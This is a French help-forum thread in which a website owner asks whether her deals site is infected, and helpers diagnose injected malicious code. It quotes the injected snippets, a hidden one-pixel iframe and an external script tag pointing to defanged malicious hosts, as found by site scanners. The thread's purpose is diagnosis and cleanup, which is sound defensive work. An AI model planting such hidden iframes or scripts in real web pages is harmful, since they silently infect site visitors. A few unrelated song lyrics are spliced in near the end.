Accès à mon site internet

Question

Bonjour, 

J'ai un site internet de bons plans. Je reçois régulièrement des posts sur les différents murs et quand je clique sur le message qui m'informe d'un nouveau post, mon anti virus m'indique que si j'accède à la page, je serai infectée par le virus Trojan.
Ma question est : puis je accéder à la page sans être infectée pour supprimer le virus (on part donc du principe que ce n'est qu'en cliquant sur un lien éventuel dans le message que je serai infectée) ou est-ce que simplement en accédant à la page du message, sans cliquer sur d'autre lien que celui de mon site je peux être infectée?
Voici le lien que je reçois pour accéder au post de mon site, si certains veulent jeter un oeil... Tous les messages sont du même style, bravo pour ce discours, merci pour cet article. Mais je ne sais si ils sont accompagnés d'un lien dans la conversation...


URL: supprimé par la Modération signalé comme douteux par Virus total.

Message:
-----
Tout a fait le style d'idee dont je me fesait du sujet, merci enormement pour cette excellent article
-----

Merci de ne pas répondre à  cet email de notification qui a été généré automatiquement.


Merci d'avance pour vos infos et bonne journée

Configuration: Windows 7 / Chrome 28.0.1500.95

yzack29 · Answer

Salut,
et j'imagine que tu as BitDefender comme antivirus

voir le scan de l'url sur VT
https://www.virustotal.com/gui/url/4d0059117045dd43c89cba1d6774c3f01e0dbeb76a00c99420b8ca86df8c51e0

autre analyse 
https://www.virustotal.com/gui/url/b78352a76e5b964f6250b75522fe203cee5574caf86f3670daec0866807fa73c

comme tu peut le voir, c'est tout le site qui est infecter et pas seulement l'url que tu as fourni

a mon avis, ça m'étonnerait que ce soit un faux positive 

tache pour ta sécurité, d'éviter ce site a l'avenir

caro98 · Answer

Ah bon?? Tout le site?? Mais je ne peux pas l'éviter, c'est MON site!! N'y a-t-il pas un moyen de supprimer ce virus?
Oui j'ai bien bitdefender...
Merci pour ta réponse.

yzack29 · Answer

Re
j'ai fait analyser le fichier html de ton site et il y a plus de doute
ya du script malicieux !!!
 
voir ici :
https://www.virustotal.com/gui/file/c7a5d2a539274026c1bf6f85206c6fe7a0062f6c2c4ecbfbc80730f6b4f43a84

je ne m'y connait pas du tout en programmation de site, donc je ne peux pas t'aider plus, désoler

voila une piste :
https://sitecheck.sucuri.net/results/www.bonsplans.nc
c'est cette iframe qui fout la m$rde
Hidden Iframes.
Details: https://labs.sucuri.net/signatures/malwares/
<iframe src="hxxp://dejangorgievski.com/templates/index.php" width=1 height=1 frameborder=0>

c'est toi qui a programmer le site
sinon voir avec celui qui la fait

en espérant que quelqu'un d'autre passe par là
si pas, je demanderait a quelqu'un de venir 

tu est peut-être toi même infecter

un peu d'aide ici si tu t'y connait
https://www.malekal.com/virus-securite/

caro98 · Answer

Merci bien. Non ce n'est pas moi qui ai fait le site et je ne suis pas très douée pour tout ce qui est informatique...
Effectivement, si qqun passe par ici et peut m'aider, je suis preneuse...
Merci en tt cas et bonne journée

lilidurhone · Answer

Hello


Et desactiver temporairement le site

caro98 · Answer

J'ai installé trojan remover sur mon PC et bonne nouvelle je ne suis pas infectée. 

Est-ce que le fait de supprimer les mails infectés ne suffirait pas à enlever le virus? Une question pour laquelle j'aimerais vraiment avoir une réponse est : est-ce que je peux être infectée sans cliquer sur un lien indiqué dans un post du site ou est-ce que juste le fait d'ouvrir un post sans cliquer sur un lien, juste en naviguant sur le site, peut m'infecter? car si je pouvais supprimer les posts en question je pense que ça aiderait...

Merci

yzack29 · Answer

Lu,
nan, c'est tout le site qui est infecter, tu a eu de la chance que ton antivirus est stopper le script, (cela ne doit pas être le cas pour les autres visiteurs de ton site)

c'est ça que tu doit supprimer dans le code source de ton site
voir sur le screen:
https://www.cjoint.com/c/CHofKfjJCOS

\\\\\\\\\\\\\\\\

pour ça aussi, j'ai un doute:
https://www.cjoint.com/c/CHofOpJV2lU
je ne sait pas si c'est légitime ou pas ???

pour ce qui est de trojan je remove que dalle (c'est de la grosse m$rde !!!)

Mbam (Malwarebytes) est largement plus efficace et est gratuit par dessus le marché

ton site est toujours infecter et est toujours en ligne,
tu t'imagine tous les internautes que tu infecte !!!

ferme provisoirement ton site et nettoie le

un web-master ce doit de se préoccuper de ses visiteurs
tache de faire ça

Malekal_morte- · Answer

En plus des deux codes malicieux donnés par yzack29, il y a aussi celui-ci qui revient souvent :

<script src="[hxtp://mybiz.by/js.js]"></script>

mais tous ont l'air mort.

~~

Ca doit faire un moment que les hacks ont eu lieu.

Pour google-img.ru, on trouve un rapport de jsunpack de 2012 :
http://jsunpack.eyeprotectiongroup.com/software/?report=6613891c8a32ce3de3a7d76a61084c39e91e1688

Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left

Accès à mon site internet

8 réponses

Discussions similaires

Newsletters